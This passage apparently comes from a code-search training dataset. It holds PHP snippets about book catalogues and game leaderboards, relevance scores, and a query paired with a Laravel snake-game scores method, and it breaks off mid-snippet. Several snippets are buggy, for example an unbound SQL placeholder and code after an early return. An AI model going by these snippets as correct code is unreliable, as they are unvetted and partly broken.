}\n $cat_arr = implode(',', $cat_arr);\n\n // Authors Add in DB and Return IDs\n $aut_arr = array();\n foreach ($bookDetailsArray['items'][0]['volumeInfo']['authors'] as $value) {\n $result = ($this->books_model->batchAddAuthors($value));\n $aut_array = json_decode(json_encode($result), True);\n $aut_arr[] = $aut_array['id'];\n }\n $aut_arr = implode(',', $aut_arr);\n\n\n $details['category_name'] = $cat_arr;\n $details['author_name'] = $aut_arr;\n $details['book_title'] = $title;\n $details['image'] = $image;\n $details['description'] = $description;\n $details['book_pub'] = $publisher;\n $details['isbn_13'] = $identifier;\n $details['isbn'] = $identifierTen;\n $details['copyright_year'] = $publishedDate;\n \n $valid = true;\n }\n else\n {\n $error=\"No book found for entered ISBN\";\n $valid = false;\n }\n }\n $this->data['categories'] = $this->books_model->getAllCategories();\n $this->data['authors'] = $this->books_model->getAllAuthors();\n $this->data['book_details'] = $details;\n\n $this->mPageTitle = \"Add Book\";\n\n \n $this->render('books/edit');\n }", "public function getBookSharedReviews(int $idBook)\n {\n $statement = sprintf(\"SELECT %s, %s, %s FROM %s WHERE %s = 1 AND %s = %s AND deleted = 0\",\n static::FIELDS[0], static::FIELDS[2], static::FIELDS[4], static::TABLE, static::FIELDS[3], static::FIELDS[1],\n static::PLACEHOLDERS[1]);\n $req = $this->db->prepare($statement);\n\n $req->bindValue(static::PLACEHOLDERS[1], $idBook, PDO::PARAM_INT);\n $req->execute();\n\n $response = $req->fetchAll(PDO::FETCH_ASSOC);\n\n return json_encode($response);\n }", "function get_book( $id ) {\r\n\t$options = get_option('nowReadingOptions');\r\n\t\r\n\t$id = intval($id);\r\n\t\r\n\t$books = get_books('include=' . $id);\r\n\t\r\n\treturn $books[0];\r\n}", "public function index()\n {\n $books= DB::table('books') \n ->where('available',true)\n ->get();\n return $books; \n }", "public function show(int $id)\n {\n return new BookResources(Book::with(['user','categories','authors'])->findOrFail($id));\n }", "public function getIdManifest(): array\n {\n return $this->books->getIdDict();\n }", "public function fetchFindBook($id){\n \tif (!$data = $this->_cache->load('bibliobook' . (int)$id)) {\n $refs = $this->getAdapter();\n $select = $refs->select()\n ->from($this->_name, array('pages_plates','reference','pubID'))\n ->joinLeft('publications','publications.secuid = bibliography.pubID',\n array('publicationtitle' => 'title', 'authors'))\n ->joinLeft('finds','finds.secuid = bibliography.findID', array('id'))\n ->where($this->_name . '.id = ?', $id);\n $data = $refs->fetchAll($select);\n \t$this->_cache->save($data, 'bibliobook' . (int)$id);\n \t}\n return $data;\n }", "public function show($id)\n {\n //\n return book::where('id', '=', $id)->get();\n }", "public function index()\n {\n $b = newbook::\n orderBy('id', 'desc')\n //take(10)\n ->get();\n\n return $b->toJson();\n \n }", "private function getBooksResponse(array $books, string $message) : array\n {\n return [\n 'books' => $books,\n 'message' => $message,\n ];\n }", "public function getBookAuthors()\n {\n return $this->hasMany(BookAuthor::className(), ['book_id' => 'id']);\n }", "public function getAll() {\r\n $statement = \"\r\n SELECT * FROM bookillustrator;\r\n \";\r\n\r\n try {\r\n $statement = $this->db->query($statement);\r\n $result = $statement->fetchAll(\\PDO::FETCH_ASSOC);\r\n return $result;\r\n }\r\n catch(\\PDOException $e) {\r\n exit($e->getMessage());\r\n }\r\n }", "public function index()\n {\n $resourceOptions = $this->parseResourceOptions();\n\n // Start a new query for books using Eloquent query builder\n // (This would normally live somewhere else, e.g. in a Repository)\n $query = Comment::query();\n $this->applyResourceOptions($query, $resourceOptions);\n $books = $query->get();\n return $books;\n // Parse the data using Optimus\\Architect\n $parsedData = $this->parseData($books, $resourceOptions, 'Comment');\n // Create JSON response of parsed data\n return $this->response($parsedData);\n }", "public function books(): Collection;", "public function testFindBooks()\n {\n User::factory()->create();\n $response = $this->get('api/book/lists');\n\n $response\n ->assertStatus(200);\n // TODO\n // ->assertExactJson([\n // 'books' => [\n // ['id' => '1', 'title' => 'aaa'],\n // // ['id' => '2', 'title' => 'bbb'],\n // // ['id' => '3', 'title' => 'ccc'],\n // ]\n // ]);\n }", "function getSelectedBooks($userID)\n{\n $dbConnection = parse_ini_file(\"Common/db_connection.ini\");\n extract($dbConnection);\n $myPdo = new PDO($dsn, $user, $password);\n\n $books = array();\n\n $stmt = $myPdo->prepare(\"SELECT * FROM Book JOIN ShoppingCart ON ShoppingCart.BookId = Book.BookId WHERE ShoppingCart.CustomerId=customerID\");\n $stmt->execute(['customerID' => $userID]);\n//$row = $stmt->fetch(PDO::FETCH_ASSOC);\n//make book objects for table\n foreach ($stmt as $row) {\n\n $book = new Book($row['BookId'],$row['Title'],$row['Description'],$row['Price']);\n\n $books[] = $book;\n\n }\n return $books;\n\n}", "public function show($id)\n {\n $books = $this->bookRepository->show($id);\n\n return response()->json($books);\n }", "public function getBookByType($type = null)\n {\n $result = $this->find('All')->toArray();\n return $result;\n }", "public function getListingBooks()\n {\n return $this->listingBooks;\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function index()\n {\n return books::orderBy('created_at')->get();\n }", "function bm_get_books($all=false) {\n\n $now = time();\n $books = array();\n $data = @getXML(BMBOOKCACHE);\n \n \n foreach ($data->item as $item) {\n if ($all || $item->private != 'Y' && strtotime($item->date) < $now)\n $books[] = $item;\n }\n return $books;\n}", "public function show($id): JsonResponse\n {\n $book = Book::with(['authors', 'genres'])->where('id', $id)->firstOrFail();\n\n return response()->json([\n 'data' => compact('book')\n ]);\n }", "public function get_genres()\n {\n return $this->db->get('tbl_genre')->result_array();\n }", "public function getBookauthors()\n {\n return $this->hasMany(Bookauthor::className(), ['bookId' => 'bookId']);\n }", "public function getOpinions($book){\n $sql = \"SELECT o.title, o.txt, o.note, o.pubDate, a.username, o.id, o.author FROM opinion o\n INNER JOIN account a ON o.author=a.id\n INNER JOIN book b ON o.book=b.id\n WHERE b.id=\".intval($book).\"\n ORDER BY o.pubDate DESC;\";\n $res = mysqli_query($this->link, $sql);\n $opinions = mysqli_fetch_all($res);\n return $opinions;\n }" ]
[ "0.6956468", "0.69207734", "0.6865996", "0.68163604", "0.67515075", "0.67016655", "0.66374224", "0.65546006", "0.6543279", "0.65199596", "0.64313483", "0.6388893", "0.6381168", "0.6368061", "0.6358493", "0.6296615", "0.6286169", "0.62804884", "0.62764174", "0.6228084", "0.620714", "0.6202098", "0.6185076", "0.61821866", "0.6180452", "0.6179143", "0.61469936", "0.6119985", "0.611344", "0.6071518", "0.6056295", "0.6014992", "0.6005496", "0.5987838", "0.5949055", "0.59377044", "0.59339464", "0.5906892", "0.5898659", "0.58696026", "0.5858403", "0.58546996", "0.5846163", "0.58209944", "0.5804451", "0.5802657", "0.5801848", "0.57894987", "0.5786189", "0.5764921", "0.5764313", "0.57604516", "0.57565075", "0.5739681", "0.5717182", "0.57034886", "0.57012457", "0.56714207", "0.56662846", "0.56645083", "0.5660684", "0.5634899", "0.56289667", "0.56278235", "0.562758", "0.5626906", "0.5624835", "0.5621112", "0.5610727", "0.56105894", "0.56073505", "0.56018394", "0.5597709", "0.5596088", "0.5578592", "0.5574905", "0.55676657", "0.55600846", "0.55389076", "0.5532455", "0.5511351", "0.5510223", "0.5510204", "0.5509045", "0.55038613", "0.5494361", "0.5486476", "0.5478559", "0.54772216", "0.54719603", "0.54702616", "0.54692113", "0.5454972", "0.5454248", "0.5449884", "0.5441756", "0.54296863", "0.5420707", "0.5410447", "0.54099935" ]
0.63016033
15
" SELECT scores.id, scores.points, scores.game, users.username
public function snakeScores() { // FROM scores // INNER JOIN users ON scores.user_id=users.id // WHERE scores.user_id='$id'; // " $scores = Score::orderBy("points", "DESC") ->join('users','scores.user_id','=','users.id') ->where('game', '=', 'snake') ->select('scores.*','users.username') ->limit(10) ->get(); return view("games.snake", ["ScoresFromController" => $scores]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getScores()\n {\n $stmt = $this->DB->prepare(\"SELECT users.username, puzzles.id, puzzles.highscore_time FROM users JOIN puzzles ON users.id = puzzles.highscore_user_id\");\n $stmt->execute();\n // fetchall returns all records in the set as an array\n return $stmt->fetchAll(PDO::FETCH_ASSOC);\n }", "public function getAllUsersSpacebar()\n {\n $sql = \"SELECT Users.username, Users.country, Scores.score from Users join Scores on Users.ID = Scores.user_ID WHERE Scores.game_ID = 1 ORDER BY Score DESC\";\n\t $query = $this->db->prepare($sql);\n $query->execute();\n return $query->fetchAll();\n }", "function get_ScoresByWeek($week){\r\n\t$query = \"SELECT s.id,s.userID,u.name,u.nickname,u.photoPath,s.AC,s.ACtime,s.lastModify FROM score AS s, user AS u WHERE s.stat=0 AND u.stat = 0 AND s.userID = u.id AND s.probID IN (SELECT id FROM problems AS p WHERE p.stat=0 AND p.week=$week) ORDER BY s.probID;\";\r\n\treturn mydb_query_return_double_array($query);\r\n}", "function getPlayerScore($player_id) {\n return self::getUniqueValueFromDB(self::format(\"\n SELECT\n player_innovation_score\n FROM\n player\n WHERE\n player_id = {player_id}\n \",\n array('player_id' => $player_id)\n ));\n }", "public function getStudentClassScore(){\n //new sql line\n $sql = 'SELECT student.sno , student.sname , class.cname , score.score FROM student,score,class';\n $sqlQuery = new SqlQuery($sql);\n $scoreList = $this->getStudentClassScoreList($sqlQuery);\n\n return $scoreList;\n }", "function getListeScoresBD()\n{\n\trequire(\"./modele/connect.php\");\n\n\t$sql = \"SELECT c.pseudo as pseudo, niv.nomNiv as niveau, s.meilleurScore as meilleurScore, s.nbMonstresTues as nbMonstresTues ,\n\t\t\ts.tpsJeu as tempsJeu, s.dernierScore as dernierScore\n\t\t\tFROM score as s , joueur as j, niveau as niv, compte as c\n\t\t\tWHERE \n\t\t\t\ts.IdJoueur = j.IdJoueur AND\n\t\t\t\tj.IdJoueur = c.IdCompte AND\n\t\t\t\ts.IdNiveau = niv.IdNiveau\n\t\t\tORDER BY s.meilleurScore DESC\";\n\n\t$resultat = array();\n\n\ttry {\n\t\t$commande = $pdo->prepare($sql);\n\t\t$bool = $commande->execute();\n\n\t\tif ($bool) {\n\t\t\t$resultat = $commande->fetchAll(PDO::FETCH_ASSOC);\n\t\t\treturn $resultat;\n\t\t} else {\n\t\t\treturn array();\n\t\t}\n\t} catch (PDOException $e) {\n\t\techo utf8_encode(\"Echec de select : \" . $e->getMessage() . \"\\n\");\n\t\tdie();\n\t}\n}", "function ShowInfoPlayers($idGame)\n{\n $dbh = ConnectDB();\n $req = $dbh->query(\"SELECT idPlace, PondFishesPlace, FishedFishesPlace, ReleasedFishesPlace, OrderPlace, PseudoPlayer, RankingPlayer, DescriptionStatus FROM fishermenland.place\n INNER JOIN fishermenland.player ON place.fkPlayerPlace = player.idPlayer\n INNER JOIN fishermenland.status ON place.fkStatusPlace = status.idStatus WHERE fkGamePlace = '$idGame' ORDER BY OrderPlace ASC\");\n\n return $req;\n}", "public function getRanking() {\n\t$result = pg_query(\"select a.id,\n\t\t\t\t a.user_id,\n \t\t\t\t c.name,\n \t\t\t\t c.picurl,\n \t\t\t\t a.score,\n\t\t\t a.last_update_at\n\t\t\t from app_dl.score a \n\t\t\t join users.profile c on (a.user_id = c.user_id)\n\t\t\t order by score desc limit 50\");\n\t\t\t //order by score desc limit 10\");\n\n\t$no_of_rows = pg_num_rows($result);\n //-----\n if ($no_of_rows > 0) {\n\n $resultArray = pg_fetch_all($result);\n //return json_encode($resultArray);\n $out = array();\n $out = json_encode($resultArray);\n //echo $out;\n return $out;\n } else {\n\n return false;\n }\n }", "function display_scores(){\n // Create a query for all scores:\n $result3 = db_query(\"SELECT * FROM `highscore` ORDER BY `score`\");\n\n // Store The query of all scores in an array:\n if($result3 === false){\n }else{\n $rows2 = array();\n while($row2 = mysqli_fetch_assoc($result3)){\n $rows2[] = $row2;\n }\n }\n\n // Get the total size of the array:\n $size = count($rows2);\n \n echo \"<br><h2>Leaderboard</h2>\";\n // Loop through and display array:\n for($i=0; $i < $size; $i++){\n echo \"Initials: \";\n print_r($rows2[$i]['user_initials']);\n echo \"<br>\";\n echo \"Score: \";\n print_r($rows2[$i]['score']);\n echo \"<br>\";\n echo \"Date/Time: \";\n print_r($rows2[$i]['date']);\n echo \"<br><br>\";\n }\n\n}", "public function leaderboards()\n\t{\n\t\t$table = 'eb23990_scores';\n\t\t$where = 'score > 0 ORDER BY score';\n\t\t$activeRecords = $GLOBALS['db']->GetActiveRecords($table,$where);\n\t\t$result = '';\n\t\t$i = 0;\n\t\tforeach ($activeRecords as $record) {\n\t\t\tif($i < 10){\n\t\t\t\t$result = $result.$record->nickname .':'.$record->score.\",\";\n\t\t\t\t++$i;\n\t\t\t}\n\t\t}\n\t\treturn $result;\n\t}", "public function getScore($user){ \n \n $ssn=$user->ssn;\n $sth = $this->dbh->prepare(\"SELECT * FROM creditscores WHERE ssn='$ssn'\");\n $sth->execute();\n $row = $sth->fetch(PDO::FETCH_OBJ);\n \n $sth = $this->dbh->prepare(\"UPDATE users SET score=? WHERE id=?\");\n \n $sth->execute(array($row->score, $user->id));\n error_log(\"$row->score\\n $user->ssn\\n$user->id\",3,\"debug.txt\");\n\n $sth = $this->dbh->prepare(\"SELECT * FROM users\");\n $sth->execute();\n \n return json_encode($sth->fetchAll()); \n }", "public function showScores(){\n \n include(\"connessioneDatabase.php\"); //connette al database\n \n $query = \"SELECT user, score FROM topscore ORDER BY score DESC LIMIT 5\"; //query di ricerca\n \n $risultato = $mysqli->query($query); //ottengo i risultati della query\n \n echo \"<br/>Top Scores <br/>\";\n \n if ($mysqli->errno > 0){ //se il database da errore\n \n echo \"Non è possibile visualizzare attualmente i punteggi\";\n \n }\n \n if ($risultato->num_rows === 0){ //se non sono presenti punteggi\n \n echo \"Non sono presenti ancora punteggi\";\n \n } else { //altrimenti carica i risultati e li mostra con un elenco puntato\n \n echo \"<ol> \\n\";\n \n while ($riga = $risultato->fetch_object()){\n \n echo \"<li> $riga->user $riga->score </li> \\n\";\n \n }\n \n echo \"</ol> \\n\";\n }\n \n $mysqli->close(); //chiude la connesione al database\n \n }", "public function players() {\n return $this->belongsToMany('App\\Models\\User')->withPivot('score', 'state');\n }", "public function scores()\n {\n return $this->hasMany('App\\Models\\Score');\n }", "private function _getHighScores(){\n $highScores = array();\n $sql = \"SELECT * FROM ranking ORDER BY `time` ASC LIMIT 10\";\n $pdo = $this->_helperConnection->getPdo();// récupération d'une instance de connection PDO\n $req = $pdo->query($sql);\n $results = $req->fetchAll(PDO::FETCH_ASSOC);// récupération des résultats de la requête\n\n foreach ($results as $oneScore){\n // Instanciation et hydratation de l'objet Score\n $scoreObs = new Score();\n $scoreObs->playerName = $oneScore[\"player_name\"];\n $scoreObs->difficulty = $oneScore[\"difficulty\"];\n $scoreObs->completionTime = $oneScore[\"time\"];\n\n $highScores[] = $scoreObs; // ajout de l'objet score à la collection\n }\n\n return $highScores;\n }", "protected static function columns()\n {\n return [\n 'users.id',\n 'users.name',\n DB::raw('count(scores.gross) as rounds_played'),\n\t\t\tDB::raw('sum(scores.eagle) as eagles'),\n ];\n }", "public function scores()\n {\n return $this->hasMany(Score::class);\n }", "public function getTopTen(){\n $result=$this->con->query(\"SELECT firstname, lastname, score FROM user ORDER BY score DESC LIMIT 10;\");\n \n return $result;\n \n \n}", "function getPlayedGamesResult($userId){\r\n\t//\t$this->db->select('gameId, gameName,active')->from('games')->where('ownerId',$userId);\r\n\t\t$query = $this->db->query(\"SELECT A.gameId,B.gameName, B.active, A.finished FROM gameMembers A, games B WHERE A.userId =\".$userId.\" AND A.gameId = B.gameId\");\r\n\t\tif($query->num_rows() > 0) {\r\n\t\t\t$i=0;\r\n\t\t\tforeach($query->result_array() as $row) {\r\n\t\t\t\t$result[$i++] = $row;\r\n\t\t\t}\t\t\r\n\t\t\treturn $result;\r\n\t\t}\r\n\t\telse\r\n\t\t\treturn -1;\r\n\t}", "public function getScoreWithHoles() {\n\t\treturn $this->getScores()->joinWith('hole')->orderBy('hole.position');\n\t}", "public function showStatsGames($user_id) {\n \t$stats = User::with(['rounds:id', 'game:id,time', 'statsDetails:id,user_stats_id,won,rising_points,points,won_bets', 'user_stats:id', 'user:pseudo']);\n }", "public static function list_all() {\n // $player = self::get_user_logged_in();\n // $scores = Score::find_by_player($player->id);\n // View::make('player/show.html', array('player' => $player, 'scores' => $scores));\n Redirect::to('/player/' . self::get_user_logged_in()->id);\n }", "function getAllPlayers(){\n\t$query = \"SELECT * FROM aquigaza_fsutt_local.players ORDER by rating DESC\";\n $resource = runQuery($query);\n\treturn ozRunQuery($resource);\n}", "function GetBestScore($idPlayer)\n{\n $dbh = ConnectDB();\n $req = $dbh->query(\"SELECT idHistory, ScoreHistory FROM fishermenland.history WHERE fkPlayerHistory = '$idPlayer' ORDER BY ScoreHistory ASC LIMIT 1\");\n $reqArray = $req->fetch();\n\n return $reqArray;\n}", "public function getUserScores() {\r\n $userScores = $this->collection->findOne(\r\n ['_id' => new MongoDB\\BSON\\ObjectID($this->pickedStage['_id'])]\r\n )->userScores;\r\n\r\n return $userScores;\r\n }", "function getMyPoints($userid) { // Get given user's total points (from their submissions and comments)\n\t$query=\"SELECT (IFNULL(IFNULL(l.links,0)+IFNULL(c.comments,0),0)) AS points \n\t\tFROM (\n\t\t\tSELECT users.id AS id, sum(v.vote) as links FROM users \n\t \tLEFT JOIN links ON links.user=users.id \n\t \tLEFT JOIN votes as v ON v.subjectid=links.id AND v.type='link' GROUP BY id) as l \n\t \tJOIN (\n\t\t\t\tSELECT users.id AS id, sum(v.vote) as comments FROM users \n\t \t\tLEFT JOIN comments ON comments.userid=users.id \n\t \t\tLEFT JOIN votes as v ON v.subjectid=comments.id AND v.type='comment' GROUP BY id\n\t\t\t) as c ON l.id=c.id WHERE c.id=$userid GROUP BY c.id\n\t\t\"; \n\treturn(dbFirstResult($query));\n}", "public function getCurrentScore()\n {\n\n return DB::table('scores')\n ->select('score','current_page')\n ->where('user_id', Auth::user()->id)\n ->first();\n }", "function getPlayersFromGameId($id){\n $conn = getDB();\n $sql = \"SELECT player1id, player2id, player3id FROM games WHERE id=\".$id.\"\";\n if(!($result = $conn->query($sql))){\n echo $conn->error; //TODO remove this after debugging\n closeDB($conn);\n return null;\n }\n closeDB($conn);\n return $result;\n}", "function leader(){\n // instantiate database and product object\n $database = new Database();\n $db = $database->getConnection();\n\n //$result = $db->query('SELECT id,fb_id,name,status FROM users ORDER BY status desc');\n $result = $db->query('SELECT * FROM (SELECT id, fb_id, name, count(*) as score FROM shares GROUP BY id ORDER BY count(*) DESC) LIMIT 10');\n\n $list = array ();\n\n while ($row = $result->fetch_array(MYSQLI_ASSOC)) {\n /*\n echo json_encode(\n array(\n 'name' => $row->name,\n 'fb_id' => $row->fb_id,\n 'score' => $row->score,\n 'status_code' => 200,\n 'message' => 'Accepted request'\n );\n )*/\n $user_table = $db->query(\"SELECT city, college FROM users WHERE fb_id = '$row->fb_id'\")\n $row_1 = $user_table->fetch_array(MYSQLI_ASSOC);\n\n $list[$row->id]['fb_id'] = $row->fb_id;\n $list[$row->id]['name'] = $row->name;\n $list[$row->id]['score'] = $row->score;\n $list[$row->id]['city'] = $row_1->city;\n $list[$row->id]['college'] = $row_1->college;\n }\n echo json_encode($list);\n}", "public function players()\n {\n return $this->belongsToMany(\\App\\Models\\Player\\Player::class, 'personal_statistics', 'match_id', 'player_id')->withPivot(['goals']);\n }", "function getUsersByRank()\n\t{\n\t $resource = $this->DB->database_select('users', '*', array(), 0, array('value' => 'points', 'option' => 'desc'));\n\t return $resource;\n\t}", "function read() {\n $query = \"SELECT Sum(hard_braking) AS hard_braking, \n Sum(speed_limit_exceeded) AS speed_limit_exceeded, \n Sum(dangerous_time) AS dangerous_time \n FROM \" . $this->table_name . \" \n INNER JOIN users \n ON users.username = scores.user_id \n WHERE scores.user_id = ? \";\n\n // prepare query statement\n $stmt = $this->conn->prepare( $query );\n\n // bind id of product to be updated\n $stmt->bindParam(1, $this->user_id);\n\n // execute query\n $stmt->execute();\n \n return $stmt;\n }", "function getHighscoresResult($n){\r\n\t\t$query = $this->db->query(\"SELECT A.username,B.score \".\r\n\t\t\t\t\t\t\t\"FROM users A, userScores B \".\r\n\t\t\t\t\t\t\t\"WHERE B.userId = A.userId \".\r\n\t\t\t\t\t\t\t\"ORDER BY score DESC LIMIT 0,\".$n);\r\n\r\n\t\tif($query->num_rows() > 0) {\r\n\t\t\t$i=0;\r\n\t\t\tforeach($query->result_array() as $row) {\r\n\t\t\t\t$result[$i++] = $row;\r\n\t\t\t}\t\t\r\n\t\t\treturn $result;\r\n\t\t}\r\n\t\telse\r\n\t\t\treturn -1;\r\n\t}", "public function leaderBoards() {\n\n // SELECT ALL from 'points' table, join 'users', where \"user_id\" in 'points' table = \"id\" on 'users' table,\n // order by \"points\" maximum.\n $points = DB::table('points')\n ->join('users', function ($join) {\n $join->on('points.user_id', '=', 'users.id');\n })->orderby('points', 'max')->get();\n\n\n // Return view with points.\n return view('leaderboards.index', compact('points'));\n }", "function GetScores($conn,$seed){\r\n\t//and has no duplicate user names\r\n\t$sql = \"SELECT PlayerName, MAX(Score) AS maxscore FROM Scores WHERE Seed='$seed' GROUP BY PlayerName ORDER BY maxscore DESC LIMIT 10\";\r\n\t$result = $conn->query($sql);\r\n\r\n\tif ($result->num_rows > 0) {\r\n\t // output data of each row\r\n\t while($row = $result->fetch_assoc()) {\r\n\t echo $row[\"PlayerName\"]. \" - \" . $row[\"maxscore\"]. \"\\r\\n\";\r\n\t }\r\n\t} else {\r\n\t echo \"0 results\";\r\n\t}\r\n}", "function getPoints($trip_id){\n global $mysqli;\n $sql = \"SELECT points\n FROM `users` u left join `trips` t on u.id = t.user_id\n where t.id = $trip_id\";\n $results = $mysqli->query( $sql );\n return $results->fetch_assoc( );\n}", "public function getPlayerScores($currentUser)\n {\n //$scoreHistory\n //$scoreDateHistory\n\n// $viewer = View::select(DB::raw(\"SUM(numberofview) as count\"))\n// ->orderBy(\"created_at\")\n// ->groupBy(DB::raw(\"year(created_at)\"))\n// ->get()->toArray();\n// $viewer = array_column($viewer, 'count');\n\n $playerScores = View::select(DB::raw(\"total_score\"))\n ->orderBy(\"round_date\")\n// ->groupBy(DB::raw(\"year(created_at)\"))\n ->get()->toArray();\n $playerScores = array_column($playerScores);\n\n\n\n// return view('chartjs')\n// ->with('viewer',json_encode($viewer,JSON_NUMERIC_CHECK))\n// ->with('click',json_encode($click,JSON_NUMERIC_CHECK));\n return $playerScores;\n }", "function getScore($gameName, $orderFlag){\n require 'dbman/config.php';\n \n $dbc = new DbConn();\n $query_gid = \"select gid from \".$dbc->tbl_games.\" where name=?\";\n \n try {\n $stmt_gid = $dbc->conn->prepare($query_gid);\n $stmt_gid->bind_param(\"s\", $gameName);\n $stmt_gid->execute();\n $stmt_gid->bind_result($gid);\n if(!$stmt_gid->fetch()){\n echo \"<h4>no such game found, check the gamename</h4>\";\n return;\n }\n } catch(mysqli_sql_exception $e){\n echo $e->getMessage();\n }\n \n\n $dbc = new DbConn();\n\n if(!isset($orderFlag)){\n \t$query = \"select uid, timestamp, role, score from \" . $dbc->tbl_scores . \" where gid=? order by timestamp desc limit 10\";\n } else{\n if($orderFlag == 0){\n\t echo 'Smaller score is better<br>'; \n\t $query = \"select uid, timestamp, role, CONVERT(score, SIGNED INTEGER) as score_int from \" . $dbc->tbl_scores . \" where gid=? order by score_int limit 10\";\n\t} else{\n\t echo 'Higher score is better<br>'; \n\t $query = \"select uid, timestamp, role, CONVERT(score, SIGNED INTEGER) as score_int from \" . $dbc->tbl_scores . \" where gid=? order by score_int desc limit 10\";\n\t}\n }\n\n try {\n $stmt = $dbc->conn->prepare($query);\n $stmt->bind_param(\"i\", $gid);\n $stmt->execute();\n $stmt->bind_result($usrid, $ts, $player, $score);\n echo '<table border=\"1\" id=\"theScores\" cellpadding=\"2\">';\n echo '<tr><td><b>Game</b></td><td><b>Time</b></td><td><b>Username</b></td><td><b>Player</b></td><td><b>Score</b></td>';\n while($stmt->fetch()){\n $dbc_new = new DbConn();\n $query_usr = \"select username from \" .$dbc_new->tbl_members. \" where id=?\";\n $stmt_usr = $dbc_new->conn->prepare($query_usr);\n $stmt_usr->bind_param(\"s\", $usrid);\n $stmt_usr->execute();\n $stmt_usr->bind_result($usr);\n if(!$stmt_usr->fetch()){\n echo \"<h4>No user found</h4>\";\n echo \"</table>\";\n return;\n }\n echo '<tr><td>';\n echo $gameName;\n echo '</td><td>';\n echo $ts;\n echo '</td><td>';\n echo $usr;\n echo '</td><td>';\n echo $player;\n echo '</td><td>';\n echo $score;\n echo '</td></tr>';\n }\n \techo \"</table>\";\n } catch (mysqli_sql_exception $e){\n echo $e->getMessage();\n }\n}", "public function getLeaderboard(){\n\t\t$query = \"SELECT `id`, `username`, `email`, `fullName`, `role`, `studentRollId`,`birthday`, `gender`, `address`,\n `phoneNo`, `mobileNo`, `studentClass`, `parentProfession`, `photo`, `isLeaderBoard`, `transport` \n FROM `users` WHERE isLeaderBoard != ''\"; //\n\t\t$dbcontroller = new DBController();\n\t\t$this->leaderboard = $dbcontroller->executeSelectQuery($query);\n\t\treturn $this->leaderboard;\n }", "public function Index(){\n $this->query('SELECT quizzes.*, users.name FROM quizzes JOIN users ON quizzes.user_id = users.id ORDER BY created_at DESC');\n $rows = $this->resultSet();\n // print_r($rows);\n return $rows;\n }", "function score_array($game_rows, $players) {\n\t$result = array();\n\tforeach ($game_rows as $r) {\n\t\t$result[$r['game_id']]['game'] = \"{$r['date']} - {$r['score']} for {$r['contract']}\";\n\t\t$result[$r['game_id']][$r['player_name']] = $r['player_score'];\n\t}\n\tforeach ($result as $k => $r) {\n\t\tforeach ($players as $player_name) {\n\t\t\tif (!isset($r[$player_name])) {\n\t\t\t\t$r[$player_name] = 0;\n\t\t\t}\n\t\t}\n\t\t$summary = $r['game'];\n\t\tunset($r['game']);\n\t\tksort($r);\n\t\t$result[$k] = array_merge(array('game' => $summary), $r);\n\t}\n\treturn $result;\n}", "function get_by_game($id)\n {\n $this->db->join('players', 'peripherybids.player_id = players.player_id');\n $this->db->where('game_id', $id);\n return $this->db->get($this->table)->result();\n }", "public function get_chart_js_players_scores()\n {\n $players = $this->get_players_position();\n\n $player_1 = \\App\\User::find($players[1]);\n $player_2 = \\App\\User::find($players[2]);\n $player_3 = \\App\\User::find($players[3]);\n $player_4 = \\App\\User::find($players[4]);\n\n $individual_scores = [];\n foreach ($players as $player_id) {\n $individual_scores[$player_id] = 0;\n }\n\n foreach ($this->points()->get() as $point) {\n /** @var Game_Point $point */\n $type = $point->get_point_action_type();\n\n if ('positive' === $type->action_type) {\n $individual_scores[(int) $point->player_id]++;\n } elseif ('negative' === $type->action_type) {\n $individual_scores[(int) $point->player_id]--;\n }\n }\n\n return json_encode([\n 'labels' => [\n $player_1->name,\n $player_2->name,\n $player_3->name,\n $player_4->name\n ],\n 'datasets' => [\n [\n 'label' => 'Individual scores',\n 'borderColor' => '#000',\n 'backgroundColor' => [\n $this->get_winning_team() === self::TEAM_1\n ? '#38c172'\n : '#e3342f',\n $this->get_winning_team() === self::TEAM_1\n ? '#38c172'\n : '#e3342f',\n $this->get_winning_team() === self::TEAM_2\n ? '#38c172'\n : '#e3342f',\n $this->get_winning_team() === self::TEAM_2\n ? '#38c172'\n : '#e3342f'\n ],\n 'fill' => false,\n 'data' => [\n [\n 'x' => $player_1->name,\n 'y' => $individual_scores[$player_1->id]\n ],\n [\n 'x' => $player_2->name,\n 'y' => $individual_scores[$player_2->id]\n ],\n [\n 'x' => $player_3->name,\n 'y' => $individual_scores[$player_3->id]\n ],\n [\n 'x' => $player_4->name,\n 'y' => $individual_scores[$player_4->id]\n ]\n ]\n ]\n ]\n ]);\n }", "public function getPoints()\n\t{\n\t\t$points = Result::select(\\DB::raw('teams.*, SUM(results.points) as points'))\n\t\t\t\t ->leftJoin('teams', 'results.winner_id', '=', 'teams.id')\n\t\t\t\t ->groupBy('teams.id')\n\t\t\t\t ->orderByDesc('points')\n\t\t\t\t ->orderBy('teams.name')\n\t\t\t\t ->get();\n\t\treturn $points;\n\t}", "function getAllTeams(){\r\n /*for testing purposes only, replace with request to db\r\n return array(\r\n array(\"name\" => \"Usine\", \"score\" => 2000),\r\n array(\"name\" => \"Abattoirs\", \"score\" => 1000),\r\n array(\"name\" => \"Caserne\", \"score\" => 1200),\r\n array(\"name\" => \"Asile\", \"score\" => 5000),\r\n array(\"name\" => \"Zombie\", \"score\" => -10000)\r\n );*/\r\n\r\n //$GLOBALS['link'] = connect();\r\n $res = mysqli_query($GLOBALS['link'], 'select `id`, `name`, `score` from teams;');\r\n\r\n return fetch_result($res);\r\n}", "function get_players() {\n $query = $this->db->query('SELECT a.Player, a.Peanuts, COUNT(b.Piece) AS Equity FROM `players` a INNER JOIN `collections` b ON a.Player = b.Player GROUP BY a.Player ORDER BY a.Player ASC;');\n return $query->result();\n }", "function pointsScored($quiz)\n\t{\n\t $fetch = $this->DB->database_select('points', array('points_obtained'), array('uid' => session_get('uid'), 'qid' => $quiz), 1);\n\t return ($fetch != false) ? $fetch['points_obtained'] : 0;\n\t}", "function get_subject_scores(\r\n string $subject,\r\n string $stream,\r\n string $exam, \r\n string $grade\r\n ): string{\r\n return \"select \" \r\n .\" student.name as name ,\"\r\n .\" score.value as score \"\r\n .\" from score \"\r\n .\" inner join allocation on score.allocation=allocation.allocation\"\r\n .\" inner join teacher on teacher.teacher= allocation.teacher\"\r\n .\" inner join subject on teacher.subject=subject.subject\"\r\n .\" inner join student on score.student= student.student\"\r\n .\" inner join progress on progress.student= student.student\" \r\n .\" inner join stage on progress.stage= stage.stage\"\r\n .\" inner join stream on stage.stream= stream.stream\"\r\n .\" inner join grade on stream.grade=grade.grade\"\r\n .\" inner join school on school.school=grade.school\"\r\n .\" inner join term on score.term= 